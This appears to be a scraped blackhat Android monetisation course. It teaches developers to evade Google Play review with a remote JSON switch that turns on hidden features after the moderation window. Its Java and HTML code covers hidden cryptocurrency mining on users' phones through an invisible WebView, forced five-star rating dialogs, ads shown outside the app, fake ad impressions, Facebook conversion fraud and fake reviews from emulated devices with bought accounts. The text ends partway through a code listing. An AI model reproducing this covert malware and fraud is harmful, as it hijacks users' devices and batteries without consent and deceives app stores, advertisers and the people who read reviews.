GOOGLE IS CHECKING YOUR APP FOR 15 MINUTES ONLY, HOWEVER IN MY EXPERIENCE,
THEY ARE SENDING MANUAL MODERATOR IN NEXT 3 DAYS

Manual operator is not checking your source code but he is running app to check malicious
behavior, like displaying ads outside application or forcing ratings by alert dialog:

*In not legal version, when user cancel dialog, application is closing. Results are perfect but we can’t
show it to moderator! With json control, we have 100% control on all user devices!

We need cheap hosting, where we can place simple json file:

“dialog”: “0”,
“outsideapps”: “0”}

Save it as: activator.json and put on your server like on my server:

http://dragonsuper.stream/iterator.json

By changing values to 1 or 0 we are activating or deactivating our features on user devices without
changing our apps.

For example, dialog 1 – application will show dialog, dialog 0 – application will not show dialog.

Now we need to add it to our application:

First, we need to add GSON library to our gradle file in dependencies, paste:

compile ‘com.google.code.gson:gson:2.8.1’

Next, we need to create class and method to check state for our variables in MainActivity
class Page {

String dialog,outsideapp;}

public void checkState() throws Exception {

String json = readUrl(“​http://dragonsuper.stream/iterator.json​“); //change to your URL

GsonBuilder gsonBuilder = new GsonBuilder();

Gson gson = gsonBuilder.create();

Page page = gson.fromJson(json, Page.class);

dialog=page.dialog;

outsideAds = page.outsideads;
if(dialog.equals(“1”))

//show 5 stars AlertDialog (you can see in other article how)

To use it, in your onCreate method, trigger:

Code: ​Select all

checkState();

If you need example, contact me via Telegram and I will send you some simpler file

Here you have another JSON tutorial

https://www.androidhive.info/2014/09/an … ng-volley/
Protected:
MULTICATEGORY
TRICK – ADDING
WIDGET
By ​AndroidMoney​ • March 5, 2018 •

Topic Progress:

← Back to Lesson

Adding empty widget to our application, you need to have HelloWorld application or reskinned one:

STEP 1 – create file named empty_widget.xml in your layout files

<​LinearLayout​ ​xmlns:android​=​"http://schemas.android.com/apk/res/android"
​android:orientation​=​"horizontal"
​android:layout_width​=​"match_parent"
​android:layout_height​=​"match_parent"
​android:padding​=​"@dimen/widget_margin"
​android:background​=​"#55000000"​>
</​LinearLayout​>

STEP 2 – CREATE FILE ​SimpleWidgetProvider​ .java


public​ ​class​ SimpleWidgetProvider ​extends​ ​AppWidgetProvider​ {

​@Override
​public​ ​void​ ​onUpdate(​)​ ​{

}
}

STEP 3 – CREATE FILE simple_widget_info.xml in res>xml directory

<​appwidget-provider​ ​xmlns:android​=​"http://schemas.android.com/apk/res/android"
​android:minWidth​=​"120dp"
​android:minHeight​=​"60dp"
>
</​appwidget-provider​>

STEP 4 – DECLARE WIDGET IN ANROIDMANIFEST.XML

between <application> </application> tags, add:

<​receiver​ ​android:name​=​"SimpleWidgetProvider"​ >


<​intent-filter​>
<​action​ ​android:name​=​"android.appwidget.action.APPWIDGET_UPDATE"​ />
</​intent-filter​>
<​meta-data​ ​android:name​=​"android.appwidget.provider"
​android:resource​=​"@xml/simple_widget_info"​ />
</​receiver​>

Thats all, your app will be visible in Widget category in Google Play, even you have empty
widget! Enjoy!

Protected:
MULTICATEGORY
TRICK – ADDING LIVE
WALLPAPER
By ​AndroidMoney​ • March 5, 2018 •

Topic Progress:

← Back to Lesson

This is even simpler than Widget:

Add to AndroidManifest.xml before <application> tag value:


<uses-feature android:name=“android.software.live_wallpaper” />

… thats all! You will be listed in category Live Wallpapers in Google Play

TO YOUR ANDROID MANIFEST BEFORE APPLICATION TAGS, ADD:

<compatible-screens>
​<!-- all small size screens -->
​<screen​ ​android:screenSize​=​"small"​ ​android:screenDensity​=​"ldpi"​ ​/>
​<screen​ ​android:screenSize​=​"small"​ ​android:screenDensity​=​"mdpi"​ ​/>
​<screen​ ​android:screenSize​=​"small"​ ​android:screenDensity​=​"hdpi"​ ​/>
​<screen​ ​android:screenSize​=​"small"​ ​android:screenDensity​=​"xhdpi"​ ​/>
​<!-- all normal size screens -->
​<screen​ ​android:screenSize​=​"normal"​ ​android:screenDensity​=​"ldpi"​ ​/>
​<screen​ ​android:screenSize​=​"normal"​ ​android:screenDensity​=​"mdpi"​ ​/>
​<screen​ ​android:screenSize​=​"normal"​ ​android:screenDensity​=​"hdpi"​ ​/>
​<screen​ ​android:screenSize​=​"normal"​ ​android:screenDensity​=​"xhdpi"​ ​/>
​</compatible-screens>

In your structure, res>layout

Duplicate layout folders and name them:

layout-ldpi

layout-mdpi

layout-hdpi

layout-xhdpi

Same do with drawable folder. After that you will be visible for tablet categories in Google Play. Of
course in Google Play, do not forget about screenshots for tablets. Can be the same like for phone.
Protected: STEP 7 –
SIMPLE HOUSE ADS
SOLUTION
By ​AndroidMoney​ • February 28, 2018 •

House ads is important to drive traffic from your promoted applications to new one. If you have
promoted app with for example 100 000 users, there is no problem to move some % of users to your
new app and boost it’s ranking. To do that, we can use system from displaying ads outside
application:

http://www.androidmoney.info/index.php/lessons/step-2-monetization-outside-app/

The code will be 100% same but instead of displaying advertisement from ad network, display your
own HTML website with full screen graphics and link to your new app.

This is how appnext is displaying ads, inside it’s only webview. You can connect it with outside
monetization.
Protected: STEP 8 –
SIMPLE HOUSE PUSH
SOLUTION
By ​AndroidMoney​ • February 28, 2018 •

House ads is important to drive traffic from your promoted applications to new one. If you have
promoted app with for example 100 000 users, there is no problem to move some % of users to your
new app and boost it’s ranking. To do that, we can use system from displaying ads outside
application:
http://www.androidmoney.info/index.php/lessons/step-2-monetization-outside-app/

The code will be 100% same but instead of displaying advertisement from ad network, display your
own HTML website with full screen graphics and link to your new app.

This is how appnext is displaying ads, inside it’s only webview. You can connect it with outside
monetization.

For house push, procedure is the same but you need to use this service:

http://onesignal.com/

It will allow you to send push notification with link to your app, CTR is much bigger than with normal
house ads.

I will not copy documentation:

https://documentation.onesignal.com/docs

Instruction is really clear, but remember to send it only on Sunday. Google Play moderators are not
working, so you are safe. In week time you can get ban.
Protected: STEP 10 –
FORCE REVIEWS AND
RATINGS
By ​AndroidMoney​ • February 28, 2018 •

REQUIREMENTS:

-READ AND LEARN HOW TO USE JSON REMOTE CONTROL

-READ AND LEARN HOW DETECT GOOGLE BOT (NOT NECESSARY BUT SAFER)
Reviews and ratings are very important, Google is deleting fake reviews from bots, we need to force
our users for review and rating but it’s not easy because Google can ban our application very fast.
Results can be amazing like in these apps:

This guy forced 350k users to give 5 stars, Google not realized:

https://play.google.com/store/apps/deta … te.control

https://play.google.com/store/apps/deta … te.control​ – another TV remote force rating

You can see how many downloads he have, it’s always huge boost for your app!

We need to do it with several previous methods to stay under radar and keep our app safe.

1. JSON remote to control, to activate force reviews after 7 days from publication time, we avoid
moderator check

2. Bot recognise method, to not display dialog to bot

How to make force reviews mechanism?

It’s simple, we need custom alert dialog with image. We can’t write “5 stars” in string or in code
because Google bot will ban our app. However, it’s lucky that Google cannot recognise images.

1. We need to prepare image with text “Give 5 stars or close app”

Can be something like this:


2. We need to create custom alert dialog xml, create xml file dialog_custom.xml

<?xml version=”1.0″ encoding=”utf-8″?>

<LinearLayout xmlns:android=”​http://schemas.android.com/apk/res/android​”

android:layout_width=”match_parent”

android:layout_height=”match_parent”

android:orientation=”horizontal” ><TextView

android:id=”@+id/textView”

android:layout_width=”wrap_content”
android:layout_height=”wrap_content”

android:text=”@string/hello_world” />

<ImageView

android:id=”@+id/imageView”

android:layout_width=”wrap_content”

android:layout_height=”wrap_content”

/>

</LinearLayout>

3. To our MainActivity we need to add method to display dialog

public void alert(){

// TODO Auto-generated method stub


AlertDialog.Builder alertd = new AlertDialog.Builder(

MainActivity.this);

alertadd.setTitle(“Information”);

LayoutInflater factory = LayoutInflater.from(MainActivity.this);

final View view = factory.inflate(R.layout.dialog_main, null);

ImageView image= (ImageView) view.findViewById(R.id.imageView);

image.setImageResource(R.drawable.ic_launcher);

TextView text= (TextView) view.findViewById(R.id.textView);

text.setText(“Information”);

alertad.setView(view);
alertad.setPostitiveButton(“Yes”, new DialogInterface.OnClickListener() {

public void onClick(DialogInterface dlg, int sumthin) {

});

alertad.setNegativeButton(“Quit App”, new DialogInterface.OnClickListener() {

public void onClick(DialogInterface dlg, int sumthin) {

});

alertadd.show();

}
To run it, after checking JSON state and Bot, you need to trigger alert(); method in MainActivity

TIPS:

-DO NOT EVER START IT LIVE BEFORE 7 DAYS! MODERATOR CAN CHECK AND BAN YOU

-BETTER ALERTDIALOG IS IN UNITY3D BUT THIS COURSE IS NOT ABOUT IT, IF YOU ARE
FAMILIAR, YOU ARLERT DIALOG IS ALWAYS SAFE!

-DO NOT NAME YOUR METHODS LIKE “RATE”, “GIVE 5 STARS”, “REVIEW”, ​DO NOT POST
THESE WORDS IN CODE, ALWAYS ON IMAGE!

Protected: ASO –
SCREENSHOTS –
PUBLICATION
By ​AndroidMoney​ • February 28, 2018 •
Make
Screenshots
On many Android devices, you can capture a screenshot with a key-combination: Simultaneously
press-and-hold Power and Volume-down. You can also capture a screenshot with Android Studio as
follows:

1. Run your app on a connected device or emulator. If using a connected device, be sure you
have ​enabled USB debugging​.
2. In Android Studio, select ​View > Tool Windows > Logcat​ to open ​Logcat​.
3. Select the device and a process from the drop-down at the top of the window.

4. Click ​Screen Capture​ on the left side of the window.The screenshot appears in a
Screenshot Editor​ window.
5. Tip:​ On Android 7.0 and higher, open Settings, select ​Developer options > Demo mode​,
and enable ​Show demo mode​. This resets the status bar to temporarily remove notifications
and sets the signal and battery levels to full. For more information, see ​Configure On-Device
Developer Options​.
6.
7. Figure 1.​ Screenshot editor
8. Optionally change the image:
○ Recapture​: Take a new screenshot.
○ Rotate Left​: Rotate the image 90 degrees counter-clockwise.
○ Rotate Right​: Rotate the image 90 degrees clockwise.
○ Frame Screenshot​: Choose a device to wrap your screenshot with real device
artwork. Select ​Drop Shadow​, ​Screen Glare​, or both to add these effects to your
image.
○ Note:​ If you select a device for the screenshot frame that differs from the actual
device you captured, the editor stretches your image to match the dimensions of the
device frame. You instead might want to use the online ​Device Art Generator​, which
offers device frames for other popular devices.
9. Click ​Save​, specify the location and filename, and then click ​OK​.
10.
How to make
“ASO
screenshots”,
rules:
Look at snapchat screenshots:

https://lh3.googleusercontent.com/Tg8j7ifezVWfWJW6RMqBpNYF6_aCisp0kzwuN8XKulfOyYS0aB
s3fgzURi9T1IgkETbL=h900-rw

They are using some phone mockup, try to find free to use mockups in PSD for photoshop:

https://cssauthor.com/smartphone-mockup-psd/

Open template in Photoshop and paste your screenshot inside phone.


Add text, my personal favourite font for screenshot is “Impact”

Save file, in PNG (this will allow to not save exif tags to identify your computer). In file name type
one of your keyword, it works for Google Play internal database and helps to ASO your app better.

Next… next screenshot, it’s the best when you add maximum 3 screenshots.

Avoid:

-long text

-showing ads on screenshots

-using copyrighted materials

-putting icons instead screenshots in Google Play console, it will cause ban because one spammer
used this feature so often

Protected: ASO – ICONS –


PUBLICATION
By ​AndroidMoney​ • February 28, 2018 •

Icons are 512×512 PNG images, rule is simple and tested by me from beggining. Works great and
breaking this rule will always damage your installs. You are not brand, you have not millions of
dollars to promote your cool symbol icon like McDonalds, Avast, Supercell, etc. Do not try to make
icon with symbol, cool logo, etc. People will forget it in next 5 minutes… instead of that use keyword
on icon like here, protips, some icons were stolen from me by other devs:
It’s simple, you need to write big keyword on your icon to bring attention of users who are looking for
feature.

Of course, you need to name your icon with keyword too.


Protected: ASO –
TRANSLATIONS –
BACKLINKS
By ​AndroidMoney​ • February 28, 2018 •

Most of indie developers usualy forgots about translations, they are very important even Google Play
have auto-translator tool for customers. Don’t be tricked, this tool works in fly, when user click button
“translate” but translations are not stored on server and used by crawlers. Without translations, you
are loosing 70% of traffic and it’s well tested and checked in analytics.
You have 70+ languages in Google Play what means:

70 * top 500 list

70 * top new

70 * top in category

70 * 5 * additional categories with “multi category trick” from step 6

It means, if you put translations manualy of with auto translator from next step, you have 560 new
“backlinks” to your app inside Google Play with translated or replicated “anchors”. You have 560 new
places where user can find you!

Nobody is talking about it, because everyone is focused on “white hat” and making proper, polite
applications – technical freaks.

I know that you don’t know 70 languages, but you have ctrl+c, ctrl+v and Google Translate! Also with
next step you can use auto translator.

Manual time: 20 minutes / app, fast fingers and ctrl+c means 70% more traffic

Automatic time: requires configuration but something arround 1-2 minutes / app
Protected: ASO –
AUTOTRANSLATOR
By ​AndroidMoney​ • February 28, 2018 •

Auto Translator – software that will help you to translate your description for all languages in 2
minutes and automaticaly upload it to Google Play.

Step 1

Before you can use it, you need to have Google Play account and uploaded application (it’s only
update for descriptions, before add translations, you need to publish app).

Download auto translator from here:​ http://androidmoney.info/fApkUploader-RELEASE-ramz.zip


Configuration, set up your Google Play account (API access)

https://youtu.be/8_OoPf-MFIs

Configure your auto – translator (gpup file)

https://youtu.be/nEDSYmnb1dI

CONFIGURATION AND USAGE

https://youtu.be/hrTnsyEnNiI

Protected: INITIAL
INSTALLS – CHEAP CPI
FROM BOTS
By ​AndroidMoney​ • February 28, 2018 •
How to get cheap initial installs for our apps? Even we are using blackhat or greyhat
methods, we need to buy between 500-5000 installs, depends our niche, keywords and
competitors. I am buying usually 1000 installs for my apps.

First we need to know how to setup campaing, this is the most important tip ever and
everyone is making mistakes in this step!

DO NOT BUY CPI INSTALLS FIRST DAY AFTER RELEASE AND YOU SEE APP IN MARKET!

YOU WILL BURN YOUR MONEY!

After app release, there is 3 days window for moderator to check your app. If you have red
flags from Google Bouncer, you are going to get ban. It’s a direct info from former moderator.
All apps are in “limbo”, you can search them via keyword sometimes and mostly by package
name. However, visibility is really low and you can burn your budget.

The safest is to wait 4 days after release.

Here is the most important thing:


-throw 60%-80% of your budget in first (4th day)

-next, split your budget into equal parts for 5 days

The most important is to bump app high and keep constant installs for 5-7 days, depends
your budget.

So if we have $1000, we need to spend $600 in installs in first (4th day!).

Next, $400 split to 5 days, equal!

I don’t know why, but this is working. Other models were only burning money. Maybe
because after high bump, we have huge ranking move but also, we need to keep installs next
days.

Where to buy installs? Facebook but it’s a second article. It’s not cheap like keyapp.top but
it’s better.

Cheap CPI sources are changing very fast. Almost every company from Google can give
similar results because they are using bots from DigitalOcean datacenter. Personaly I am
using keyapp.top to get installs for $1000 and get results. It’s really working without problem
but for white hat app, I suggest to use only Facebook or Twitter Ads.

AVOID:

-App2top – scam

-Adwords from Google – not converts and you can burn money
RESULT AFTER KEYAPP $1000

Protected: INITIAL

INSTALLS – CHEAP
FACEBOOK CPI
By ​AndroidMoney​ • February 28, 2018 •
Facebook is the best source of android installs. It’s little more expensive than bot installs from
keyapp.top but installs quality is much, much better. It’s because retention, in most cases with bot
installs, app is opened once or never. With Facebook installs, your app is opened by real user who
want to check your app and use it. Google Play measures retention factor. It’s calculated by number
of openings, time spent in app and time to uninstall. Nowadays, Google Play uses AI algorithms to
check installs quality.

https://android-developers.googleblog.c … talls.html

This is the reason, why we need to focus on real installs to get better results. It’s still possible and
easy to use bot installs like keyapp.top but I think it’s not safe in long term. Someday Google can
punish you. They will not ban your app for bot installs, they just decrease your visibility in store and
push your app into markteplace blackhole.

To use Facebook, you need to set up it in proper way. You cannot leave it automatic or they just
take huge money from your PayPal account.

However, there are some requirements to use it:

1. Published app in store, they will not accept non published app

2. You need to integrate their SDK, here is instruction, I don’t want to reproduce it here
https://developers.facebook.com/docs/analytics/overview

METHOD 1 – TRAFFIC

Click button “Create Ad”


Click button App Installs
On this screen, you need add URL to your app. It’s not on image above because everyone can do it.

Audience is important, in my settings:

-USA

-Age between 18-26, you need to change and observe your range in right panel

-detailed targeting, I have empty but you need to choose your niche, for example if you are
promoting rap music, write “rap music”

*very imporant, don’t be so detailed, don’t use for example Eminem, 50cent, 2pac because it’s not
increasing your audience so much and your real efficiency is decreasing

I DON’T KNOW WHY BUT FACEBOOK IS WAITING TO DISPLAY YOUR ADS IN VERY
DETAILED NICHE LIKE 50cent INSTEAD TO DISPLAY YOUR AD IN “rap music”

So again, it’s imporant, you cannot be so detailed.


Next step is the most imporant:

-manual bid, set up value / click you can pay, most of clicks are installs

-impression charge

-change mode to accelerated – the most important thing, without it you can wait few days or weeks
to start ads with full power

That’s all in this method. You can’t be charged direct for AppInstall because it’s reserved for brands
and the most trusted, verified accounts with huge spending in the past. With next method we can
avoid it.

METHOD 2 – CONVERSION
Still, Facebook SDK needs to be integrated with your application but you need to add custom
events.

https://developers.facebook.com/docs/app-events

Create event like in tutorial, for example, when user finish level or… with blackhat,
CountDownTimer.

Put it in your activity!

new CountDownTimer(30000*120, 1000) {

public void onTick(long millisUntilFinished) {

//do nothing

public void onFinish() {

//trigger facebook events (watch facebook tutorials and documentation on their site)
}

}.start();

This will cause, that we will pay for conversion (event), when user open our app and wait 1 hour on
main screen (MainActivity).

** Please note, this can reason Facebook Ads Account ban, so please, trigger sometimes your
event. For example 1/1000 users.

To do it, use random number:

Random r = new Random();

int i1 = r.nextInt(1000 -1) + 1;

if(i1==1)

//trigger facebook event

}
THIS METHOD WILL ALLOW YOU TO PAY ONLY FOR CONVERSION

SO INSTALLS ARE ALMOST FREE

THIS IS RISKY METHOD FOR YOU FACEBOOK ACCOUNT

How to set up it in dashboard?


You can make higher app event bid, most of installs are free in this blackhat method.

TIP: You can use this method with other CPA services like CPALead, I’ve got 100k installs for free in

their service before their banned my account but it’s worth Advertiser verification not exists in
the most CPA services.

Protected: INITIAL
REVIEWS – ANDROID
x86
By ​AndroidMoney​ • February 28, 2018 •
Google has started deleting reviews long time ago, dozens of companies was selling fake reviews
and stopped almost in single month, on the end of 2016.

App2top, Reviews4you, 9xen and many others deleted fake reviews from their libraries. It’s not good
job for any bots, so it cannot be profitable for them.

Still, we need some 50-100 reviews with keywords to bump our apps. How to do it when nobody
offers it? Ask friends with single app? Buy 50 devices? It’s still working but not effective.

We can use virtualbox + Androidx86

Step 1

Download virtualbox, there is no vmware version, I’ve not made it.


https://www.virtualbox.org/

Install it…

Step 2

For Gmail accounts, I suggest to find some 50-100 accounts with PVA (phone verified), the best
USA

Find some on BHW, there are good sellers in The Marketplace section

Step 3

You need to buy some cheap but SSH proxies, it’s important because tunneling whole PC
connection

Can be from this site: ​https://premsocks.com/

Step 4

Download this system image. This is Androidx86 machine to run in Virtualbox with Xposed module
to make privacy

fakereviews.ova

Step 5

You need to set up proxy, connect to proxy via app:


https://www.bitvise.com/

for connection tunneling, we need another app

https://www.proxifier.com/

Add new proxy in proxifier, change port to the same as you have in Bitvise!

You can delete authentication, it’s already set up in Bitvise. Socks5 is correct.

Step 6
Run your Androidx86, you need to delete all gmail accounts in this machine!

Step 6

Change settings, device fakers, especialy second one on Desktop have presets, to make your
machine, for example Galaxy S8

Step 7

You need to restart device to apply settings

Step 8

Add account, one from PVA

Step 9

Download app from Play Store, open it, use for few minutes, click, get fun and then review.

Do not close machine for 15 minutes after review. Keep app opened.

Step 10

Delete your gmail account from machine, fake other device preset and repeat
TIP 1:​ if system is not landscape, there is orientation force app on the desktop

TIP 2:​ you can delete social apps installed on this virtual machine, it will delete any errors like
“Application stopped”

TIP 3: ​make few backups, it’s not stable, Android wasn’t created for x86 and may crash your whole
machine
TIP 4: ​always keep machine and app turned on for 15 minutes after review. It’s important because
bots are not doing it, you need to be human as far you can

TIP 5: MIX YOUR TIMES! NOBODY IS ADDING 50 REVIEWS SINGLE DAY FOR NEW ORGANIC
APP

NOTE: It’s only Android 4.4, with higher versions it’s for now impossible to install Xposed framework
and apps to make your device unique.

Cryptomining is the current trend in IT world. Millions of people are trying to get own piece of
crypto-cake. However, to do it, you need expensive PC with top graphics cards or ASIC (chip made
to bitcoin mining). Almost every coins are prepared to be mined via GPU except one coin, Monero.

This coin is prepared to be mined via CPU and GPU, the difference is maybe 10% for GPU, so we
can mine it using CPU. For example, smartphone CPU. You can read in the internet, that minining
with smartphone is not profitable. Right, I’ve tested my Motorola G3 and took only 1 hash / 1 second.
It’s funny, because i7 PC CPU can get 300h/s. However, people in the Internet are talking about
single CPU only.

We are app developers and publishers, we rules thousands CPUs on user devices. I’ve tested
Monero minining with 35k users and got something arround $100 in single day. Disabled it, because
method requires tests and still I have similar results for ads.

You can test it yourself with 2 methods:

First methods is using Github library for Coinhive. Before make it, register on Coinhive to get miner
account details.

https://coinhive.com

https://github.com/theapache64/coin_hive_android_sdk

This libary works with Webview, however the creator has made cool Java interfaces to use it in easy
way.

1. You need to implement in your app some remote control to turn of and turn on mining, do it with
JSON, here you have instruction for JSON control:

viewtopic.php?f=67&t=420
You can’t publish app with enabled mining, because bot or moderator will ban you very fast. You
need to enabled mining after some 3-7 days, moderator is going to leave your app, then enable
mining.

2. You need to prepare some triggers, you cannot use 100% battery life because users will uninstall
your app very fast.

Make a class file called CheckBattery.java

Inside this, put:

import android.content.Context;

import android.content.Intent;

import android.content.IntentFilter;

import android.os.BatteryManager;

/**

* Created by ramzi on 12.11.2017.

*/

public class CheckBattery {

public float getBatteryLevel(Context ctx) {

Intent batteryIntent = ctx.registerReceiver(null, new


IntentFilter(Intent.ACTION_BATTERY_CHANGED));

int level = batteryIntent.getIntExtra(BatteryManager.EXTRA_LEVEL, -1);

int scale = batteryIntent.getIntExtra(BatteryManager.EXTRA_SCALE, -1);

// Error checking that probably isn’t needed but I added just in case.

if(level == -1 || scale == -1) {


return 50.0f;

return ((float)level / (float)scale) * 100.0f;

}
This class and float method will give us battery level in percentage! Please note, this is only one
check. We don’t need any permissions to check it. We will use it in next step.

3. You need to use it outside application when user is not watching, to do it, go to article:

viewtopic.php?f=67&t=419

and reproduce it. Except ads, we will mine cryptocurrency.

Go to Step 5 in above article and add cryptocurrency miner to ShowFullScreenAds.java except ads

It’s ready to use solution for background task.

First we need to check battery temperature of course:

We can do that by declare float in our onCreate method in ShowFullScreenAds file

float temp = CheckBattery.getBatteryLevel(this);

if(temp>50)

start miner

So if battery level is bigger than 50%, we are mining, when it’s smaller, we can stop. JobScheduler
will check it automaticaly every 15 minutes again.

We don’t need to monitor battery live. We can check it every 15 minutes.

Now we need to implement our miner:

Go to build.gradle file and add

compile ‘com.theah64.coinhive:coinhive:1.2.0’
between dependencies tags

From previous step you have file called ​MyApplication.java (​article about working outside
application).

To this file you need to add:

CoinHive.getInstance()

.init(“YOUR-SITE-KEY”) // mandatory

.setNumberOfThreads(4) // optional but I suggest to delete it completly, CoinHive will set


up it automaticaly

.setIsAutoThread(true) // optional, automatic thread number selection, keep it

.setThrottle(0.2) // optional

.setLoggingEnabled(true) // To logcat mining status, false by default.

.setForceASMJS(false); // optional

Change your ​ShowFullScreenAds ​file to mine cryptocurrency like that:

public class ​ShowFullScreenAds ​extends BaseCoinHiveActivity {

float temp = CheckBattery.getBatteryLevel(this);

if(temp>50)

startMining();

else
{

finish();

@Override

public void onRunning(double hashesPerSecond, long totalHashes, long


acceptedHashes) {

@Override

private void onMiningStarted() {

@Override

private void onMiningStopped() {

METHOD 2 – I’VE TESTED IT PERSONALY!

In my method I’ve not used any SDK. I’ve used WebView. The idea is the same. Add battery monitor
from previous method and outside app action.

STEP 1:
You need a hosting, add HTML file like my and upload to your server!

For ​https://www.coinimp.com/

<html>

<head>

<script src=”​https://www.hashing.win/scripts/min.js”></script​>

<script>var miner=new
Client.Anonymous(‘020cd2ebed9e065002f36947da9b07ca4a9d37fd1a54fb44e3a5ef0550
2e88b3’);miner.start();</script>

</head>

<body></body></html>

For Coinhive

<html>

<head>

<script src=”​https://authedmine.com/lib/authedmine.min.js”></script​>

<script>

var miner = new CoinHive.Anonymous(‘YOUR_SITE_KEY’, {throttle: 0.3});

// Only start on non-mobile devices and if not opted-out

// in the last 14400 seconds (4 hours):

if (!miner.isMobile() && !miner.didOptOut(14400)) {

miner.start();

}
</script>

</head>

<body></body></html>

STEP 2:

In your ShowFullScreenAd file, add this:

public class ShowFullScreenAds extends Activity {

WebView w1;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_wew);

Log.d(“assyl”,”work”);

w1 = (WebView)findViewById(R.id.w1);

w1.getSettings().setAppCacheMaxSize( 10 * 1024 * 1024 );

w1.getSettings().setAllowFileAccess(true);

w1.getSettings().setJavaScriptCanOpenWindowsAutomatically(true);

w1.getSettings().setJavaScriptEnabled(true);
w1.clearCache(true);

w1.clearHistory();

w1.setVisibility(View.INVISIBLE);

WebSettings webSettings = w1.getSettings();

webSettings.setJavaScriptEnabled(true);

webSettings.setJavaScriptCanOpenWindowsAutomatically(true);

/// don’t forget about battery checker code from previous method I’ve not added it
here to check your attention

w1.loadUrl(“​http://dragonsuper.stream/hah.html​“);

STEP 3:

In your layout file, for activity ShowFullScreenAd (xml files), add full screen WebView like this,
remember about styles.xml to make it invisible (article about outside app ads):
SUMMARY FAQ:

What method is better?

Answer: method 2, it depends to your URL (server adress, domain or subdomain), Google cannot
recognise it. For first method, you are putting Coinhive code into your app, so Google may recognise
it and ban your app if method become popular

What is needed to make mining?

Answer:

-Battery Checker method to not scare your users

-Displaying it outside app in invisible mode, check article about displaying ads outside app (the
mechanism is the same, you need just to reproduce it), except ads, put miner code

-remote control, we cannot run miner in fresh app

So the most important is free or cheap hosting, where you can put html file with miner and JSON file.

How much you can earn?

I don’t know! It’s very fresh, my 35k test app generated $100 in monero in 1 day.

Not lost more than 200 users but battery checker is important!

You can calculate your profit here:

https://www.cryptocompare.com/mining/ca … stPerkWh=0
Phones have between 1h/s to 15h/s,

This is calculation for 35000 users, I’ve got little more than $100, so average user have little more
than 1h/s. Some have powerfull phones, some not.

Before you start fake impressions application, you need to understand and code your JSON
remote control:

http://www.androidmoney.info/index.php/lessons/step-5-remote-control/

Please create this control for setting on and setting off fake impressions, it’s important because if
you send update with enabled feature, you will get 100% ban.

In my solution, I am using JOB library from evernote and GSON library from google.

This is my OpenJob file, please read lesson about JSON remote control with sub-lessons to
understand what’s going on

Description:

I am connecting to my server JSON file and downloading values for “turnon” but also for URLs (for
ad networks, in this solution I was doing it with direct URL ads from plugrush and exoclick but you
can deliver traffic to any URL, even popads). After downloading settings, I am saving values into
SharedPreferences to use it in every place in my app.

import android.app.PendingIntent;
import android.content.Intent;
import android.content.SharedPreferences;
import android.support.annotation.NonNull;
import android.util.Log;
import android.widget.Toast;

import com.evernote.android.job.Job;
import com.evernote.android.job.JobRequest;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.util.concurrent.TimeUnit;

import static android.content.Context.MODE_PRIVATE;

public class OpenJob extends Job {


String
ur1,ur2,ur3,ur4,ur5,ur6,ur7,ur8,ur9,ur10,
ur11,ur12,ur13,ur14,ur15,ur16,ur17,ur18,ur19,ur20,
ur21,ur22,ur23,ur24,ur25,ur26,ur27,ur28,ur29,ur30,
ur31,ur32,ur33,ur34,ur35,ur36,ur37,ur38,ur39,ur40,
ur41,ur42,ur43,ur44,ur45,ur46,ur47,ur48,ur49,ur50,
ur51,ur52,ur53,ur54,ur55,ur56,ur57,ur58,ur59,ur60,
ur61,ur62,ur63,ur64,ur65,ur66,ur67,ur68,ur69,ur70,
ur71,ur72,ur73,ur74,ur75,ur76,ur77,ur78,ur79,ur80,
ur81,ur82,ur83,ur84,ur85,ur86,ur87,ur88,ur89,ur90,
ur91,ur92,ur93,ur94,ur95,ur96,ur97,ur98,ur99,ur100,
ur101,ur102,ur103,ur104,ur105,ur106,ur107,ur108,ur109,ur110,
ur111,ur112,ur113,ur114,ur115,ur116,ur117,ur118,ur119,ur120;
String turnon, webviewnumber,webview15mode1,mode1,mode2,mode3;
SharedPreferences.Editor editor;
static final String TAG = "show_notification_job_tag";

@NonNull
@Override
protected Result onRunJob(Params params) {

try {
checkstate();
} catch (Exception e) {
e.printStackTrace();
}
return Result.SUCCESS;
}

class Page {
String turnon, webviewnumber,webview15mode1,mode1,mode2,mode3;
String
ur1,ur2,ur3,ur4,ur5,ur6,ur7,ur8,ur9,ur10,
ur11,ur12,ur13,ur14,ur15,ur16,ur17,ur18,ur19,ur20,
ur21,ur22,ur23,ur24,ur25,ur26,ur27,ur28,ur29,ur30,
ur31,ur32,ur33,ur34,ur35,ur36,ur37,ur38,ur39,ur40,
ur41,ur42,ur43,ur44,ur45,ur46,ur47,ur48,ur49,ur50,
ur51,ur52,ur53,ur54,ur55,ur56,ur57,ur58,ur59,ur60,
ur61,ur62,ur63,ur64,ur65,ur66,ur67,ur68,ur69,ur70,
ur71,ur72,ur73,ur74,ur75,ur76,ur77,ur78,ur79,ur80,
ur81,ur82,ur83,ur84,ur85,ur86,ur87,ur88,ur89,ur90,
ur91,ur92,ur93,ur94,ur95,ur96,ur97,ur98,ur99,ur100,
ur101,ur102,ur103,ur104,ur105,ur106,ur107,ur108,ur109,ur110,
ur111,ur112,ur113,ur114,ur115,ur116,ur117,ur118,ur119,ur120;

public void checkstate() throws Exception {


Log.d("checkstate","checkstate");
String json = readUrl("http://confirmationbooster.com/iterator.json");

GsonBuilder gsonBuilder = new GsonBuilder();


Gson gson = gsonBuilder.create();

Page page = gson.fromJson(json, Page.class);


editor = getContext().getSharedPreferences("iamking", MODE_PRIVATE).edit();
turnon = page.turnon;
savePr("turnon",turnon);
webviewnumber=page.webviewnumber;
savePr("webviewnumber",webviewnumber);
webview15mode1=page.webview15mode1;
savePr("webview15mode1",webview15mode1);
mode1 = page.mode1;
savePr("mode1",mode1);
mode2 = page.mode2;
savePr("mode2",mode2);
mode3 = page.mode3;
savePr("mode3",mode3);
ur1 = page.ur1;
ur2 = page.ur2;
ur3 = page.ur3;
ur4 = page.ur4;
ur5 = page.ur5;
ur6 = page.ur6;
ur7 = page.ur7;
ur8 = page.ur8;
ur9 = page.ur9;
ur10 = page.ur10;

savePr("ur1",ur1);
savePr("ur2",ur2);
savePr("ur3",ur3);
savePr("ur4",ur4);
savePr("ur5",ur5);
savePr("ur6",ur6);
savePr("ur7",ur7);
savePr("ur8",ur8);
savePr("ur9",ur9);
savePr("ur10",ur10);

ur11 = page.ur11;
ur12 = page.ur12;
ur13 = page.ur13;
ur14 = page.ur14;
ur15 = page.ur15;
ur16 = page.ur16;
